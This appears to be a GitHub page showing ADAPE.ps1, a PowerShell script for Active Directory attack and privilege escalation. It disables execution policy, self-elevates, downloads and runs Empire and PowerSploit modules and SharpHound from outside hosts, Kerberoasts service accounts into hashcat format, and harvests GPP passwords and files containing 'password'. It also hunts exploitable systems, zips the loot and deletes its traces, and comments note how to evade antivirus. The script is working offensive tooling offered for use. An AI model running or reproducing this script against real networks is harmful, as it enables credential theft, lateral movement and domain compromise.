forked from hausec/ADAPE-Script
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ADAPE.ps1
265 lines (253 loc) · 11.5 KB
/
ADAPE.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
Write-Host "###########################################################################################################" -ForegroundColor Green
Write-Host "## Active Directory Assessment and Privilege Escalation Script v1.2 ##" -ForegroundColor Green
Write-Host "## Developed By @Haus3c ##" -ForegroundColor Green
Write-Host "## ##" -ForegroundColor Green
Write-Host "## Credit for .ps1s goes to Tim Medin, and the people working on Empire, BloodHound, and PowerSploit ##" -ForegroundColor Green
Write-Host "## ##" -ForegroundColor Green
Write-Host "## If you see errors, that's normal. Unless your computer bluescreens or something. That's not normal. ##" -ForegroundColor Green
Write-Host "###########################################################################################################" -ForegroundColor Green
Set-ExecutionPolicy Unrestricted
#run as Admin check
If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
$arguments = "& '" + $myinvocation.mycommand.definition + "'"
Start-Process powershell -Verb runAs -ArgumentList $arguments
Break
}
#Create capture file, change the path if you can't write to C:\ (Or don't want to)
$path="C:\Capture"
"Creating the capture folder..."
If(!(test-path $path))
{
New-Item -ItemType Directory -Force -Path $path | Out-Null
Write-Host "Created $path!" -ForegroundColor Green
}
else
{
Write-Host "Failed to create the capture folder, does it already exist?" -ForegroundColor Red
}
$modules = split-path $SCRIPT:MyInvocation.MyCommand.Path -parent
$client = New-Object System.Net.WebClient
$ErrorActionPreference= 'silentlycontinue'
$modulepath=$env:psmodulepath.split(';')[0].split(' ')
Write-Host "Using Module path: $modulepath" -ForegroundColor Green
#Kerberoast
If(!(test-path $modulepath/Kerberoast))
{
New-Item -ItemType Directory -Force -Path $modulepath/Kerberoast | Out-Null
}
Write-Host "Fetching Kerberoast module..."
$client.DownloadFile("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1","$modulepath/Kerberoast/Kerberoast.psm1")
If (Test-Path $modulepath/Kerberoast/Kerberoast.psm1 -PathType Leaf)
{
Write-Host "Download Successful"
Import-Module Kerberoast.psm1
Write-Host "Running Kerberoast, if you see red, it's normal." -ForegroundColor Yellow
Invoke-Kerberoast -OutputFormat Hashcat | Out-File $path\Kerberoast.krb
}
else
{
Write-Host "Error downloading from GitHub, trying local path instead" -ForegroundColor Red
Copy-Item "$modules/Invoke-Kerberoast.ps1" -Destination "$modulepath/Kerberoast/Kerberoast.psm1"
If (Test-Path $modulepath/Kerberoast/Kerberoast.psm1 -PathType Leaf)
{
Write-Host "Copy Successful"
Import-Module Kerberoast.psm1
Write-Host "Running Kerberoast, if you see red, it's normal." -ForegroundColor Yellow
Invoke-Kerberoast -OutputFormat Hashcat | Out-File $path\Kerberoast.krb
}
else
{
Write-Host "Error copying from local file...is the module in the same folder as this script?" -ForegroundColor Red
}
}
#BloodHound Powershell Method -- Try this if .Exe is picked up by AV.
<#
If(!(test-path $modulepath/Sharp))
{
New-Item -ItemType Directory -Force -Path $modulepath/Sharp | Out-Null
}
Write-Host "Fetching BloodHound module..."
$download = (New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/BloodHoundAD/BloodHound/1.5/Ingestors/SharpHound.ps1")
$Encode = [System.Text.Encoding]::Unicode.GetBytes(($download))
$Base64 = [Convert]::ToBase64String($Encode)
$Decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($Base64))
$Decoded > $modulepath/Sharp/Sharp.psm1
If (Test-Path $modulepath/Sharp/Sharp.psm1 -PathType Leaf)
{
Write-Host "Download Successful"
Write-Host "Importing module..."
Import-Module Sharp.psm1
Write-Host "Running SharpHound" -ForegroundColor Yellow
Invoke-BloodHound -CSVFolder $path | Out-Null
}
else
{
Write-Host "Error downloading from GitHub, trying local path instead" -ForegroundColor Red
Copy-Item "$modules/SharpHound.ps1" -Destination "$modulepath/Sharp/Sharp.psm1"
If (Test-Path $modulepath/Sharp/Sharp.psm1 -PathType Leaf)
{
Write-Host "Copy Successful"
Write-Host "Importing module..."
Import-Module Sharp.psm1
Write-Host "Running SharpHound" -ForegroundColor Yellow
Invoke-BloodHound -CSVFolder $path | Out-Null
}
else
{
Write-Host "Error copying from local file...is the module in the same folder as this script?" -ForegroundColor Red
}
}
#>
#BloodHound EXE method
If(!(test-path $modulepath/Sharp))
{
New-Item -ItemType Directory -Force -Path $modulepath/Sharp | Out-Null
}
Write-Host "Fetching Sharphound.exe..."
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$client.DownloadFile("https://github.com/BloodHoundAD/BloodHound/blob/1.5/Ingestors/SharpHound.exe?raw=true","$modulepath/Sharp/Sharp.exe")
If (Test-Path $modulepath/Sharp/Sharp.exe -PathType Leaf)
{
Write-Host "Download Successful"
Write-Host "Running SharpHound" -ForegroundColor Yellow
& "$modulepath/Sharp/Sharp.exe" --Stealth --CSVFolder $path
}
else
{
Write-Host "Error downloading from GitHub, trying local path instead" -ForegroundColor Red
Copy-Item "$modules/Sharphound.exe" -Destination "$modulepath/Sharp/Sharp.exe"
If (Test-Path $modulepath/Sharp/Sharp.exe -PathType Leaf)
{
Write-Host "Copy Successful"
Write-Host "Running SharpHound" -ForegroundColor Yellow
& "$modulepath/Sharp/Sharp.exe" --Stealth --CSVFolder $path
}
else
{
Write-Host "Error copying from local file...is the module in the same folder as this script?" -ForegroundColor Red
}
}
#PrivEsc
If(!(test-path $modulepath/PrivEsc))
{
New-Item -ItemType Directory -Force -Path $modulepath/PrivEsc | Out-Null
}
Write-Host "Fetching PowerUp module..."
$client.DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1","$modulepath/PrivEsc/PrivEsc.psm1")
If (Test-Path $modulepath/PrivEsc/PrivEsc.psm1 -PathType Leaf)
{
Write-Host "Download Successful"
Import-Module PrivEsc.psm1
Write-Host "Checking for Privilege Escalation paths...." -ForegroundColor Yellow
Invoke-AllChecks | Out-File $path\PrivEsc.txt
}
else
{
Write-Host "Error downloading from GitHub, trying local path instead" -ForegroundColor Red
Copy-Item "$modules/PowerUp.ps1" -Destination "$modulepath/PrivEsc/PrivEsc.psm1"
If (Test-Path $modulepath/PrivEsc/PrivEsc.psm1 -PathType Leaf)
{
Write-Host "Copy Successful"
Import-Module PrivEsc.psm1
Write-Host "Checking for Privilege Escalation paths...." -ForegroundColor Yellow
Invoke-AllChecks | Out-File $path\PrivEsc.txt
}
else
{
Write-Host "Error copying from local file...is the module in the same folder as this script?" -ForegroundColor Red
}
}
#GPP Password check
If(!(test-path $modulepath/GPP))
{
New-Item -ItemType Directory -Force -Path $modulepath/GPP | Out-Null
}
Write-Host "Fetching GPPP module..."
$client.DownloadFile("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Get-GPPPassword.ps1","$modulepath/GPP/GPP.psm1")
If (Test-Path $modulepath/GPP/GPP.psm1 -PathType Leaf)
{
Write-Host "Download Successful"
Import-Module GPP.psm1
Write-Host "Checking for GPP Passwords, this usually takes a few minutes." -ForegroundColor Yellow
Get-GPPPassword -Verbose | Out-File $path\gpp.txt
}
else
{
Write-Host "Error downloading from GitHub, trying local path instead" -ForegroundColor Red
Copy-Item "$modules/Get-GPPPassword.ps1" -Destination "$modulepath/GPP/GPP.psm1"
If (Test-Path $modulepath/GPP/GPP.psm1 -PathType Leaf)
{
Write-Host "Copy Successful"
Import-Module GPP.psm1
Write-Host "Checking for GPP Passwords, this usually takes a few minutes." -ForegroundColor Yellow
Get-GPPPassword -Verbose | Out-File $path\gpp.txt
}
else
{
Write-Host "Error copying from local file...is the module in the same folder as this script?" -ForegroundColor Red
}
}
#PowerView
If(!(test-path $modulepath/PowerView))
{
New-Item -ItemType Directory -Force -Path $modulepath/PowerView | Out-Null
}
Write-Host "Fetching PowerView module..."
$client.DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1","$modulepath/PowerView/PowerView.psm1")
If (Test-Path $modulepath/PowerView/PowerView.psm1 -PathType Leaf)
{
Write-Host "Download Successful"
Write-Host "Importing module..."
Import-Module PowerView.psm1
Write-Host "Searching for SMB Shares..." -ForegroundColor Yellow
Invoke-ShareFinder -CheckShareAccess -Threads 20 | Out-File $path\ShareFinder.txt
Write-Host "Looking for sensitive files (Grab a coffee, this might take awhile)" -ForegroundColor Yellow
#Edit the terms if you want to look for different strings in files. Comment out this cmdlet if it takes too long.
Invoke-FileFinder -Verbose -Terms password -OutFile $path\FileFinder.txt
Write-Host "Checking for exploitable systems..." -ForegroundColor Yellow
Get-ExploitableSystem -Verbose | Export-Csv $path\ExploitableSystem.txt
Write-Host "Searching for file servers..."
Get-NetFileServer | Out-File $path\FileServers.txt
Write-Host "Checking for attached shares..."
Get-NetShare | Out-File $path\NetShare.txt
Write-Host "Grabbing Domain Policy..."
Get-DomainPolicy | Out-File $path\DomainPolicy.txt
}
else
{
Write-Host "Error downloading from GitHub, trying local path instead" -ForegroundColor Red
Copy-Item "$modules/PowerView.ps1" -Destination "$modulepath/PowerView/PowerView.psm1"
If (Test-Path $modulepath/PowerView/PowerView.psm1 -PathType Leaf)
{
Write-Host "Copy Successful"
Write-Host "Importing module..."
Import-Module PowerView.psm1
Write-Host "Searching for SMB Shares..." -ForegroundColor Yellow
Invoke-ShareFinder -CheckShareAccess -Threads 20 | Out-File $path\ShareFinder.txt
Write-Host "Looking for sensitive files (Grab a coffee, this might take awhile)" -ForegroundColor Yellow
#Edit the terms if you want to look for different strings in files. Comment out this cmdlet if it takes too long.
Invoke-FileFinder -Verbose -Terms password -OutFile $path\FileFinder.txt
Write-Host "Checking for exploitable systems..." -ForegroundColor Yellow
Get-ExploitableSystem -Verbose | Export-Csv $path\ExploitableSystem.txt
Write-Host "Searching for file servers..."
Get-NetFileServer | Out-File $path\FileServers.txt
Write-Host "Checking for attached shares..."
Get-NetShare | Out-File $path\NetShare.txt
Write-Host "Grabbing Domain Policy..."
Get-DomainPolicy | Out-File $path\DomainPolicy.txt
}
else
{
Write-Host "Error copying from local file...is the module in the same folder as this script?" -ForegroundColor Red
}
}
#Zip it all up and remove leftovers
Compress-Archive -Path $path -Update -DestinationPath C:\Capture.zip
Remove-Item -Recurse -Force "$modulepath/Kerberoast"
Remove-Item -Recurse -Force "$modulepath/PrivEsc"
Remove-Item -Recurse -Force "$modulepath/Sharp"
Remove-Item -Recurse -Force "$modulepath/PowerView"
Remove-Item -Recurse -Force "$modulepath/GPP"
Remove-Item -Recurse -Force $path
Write-Host "Done! Results stored in $path" -ForegroundColor Green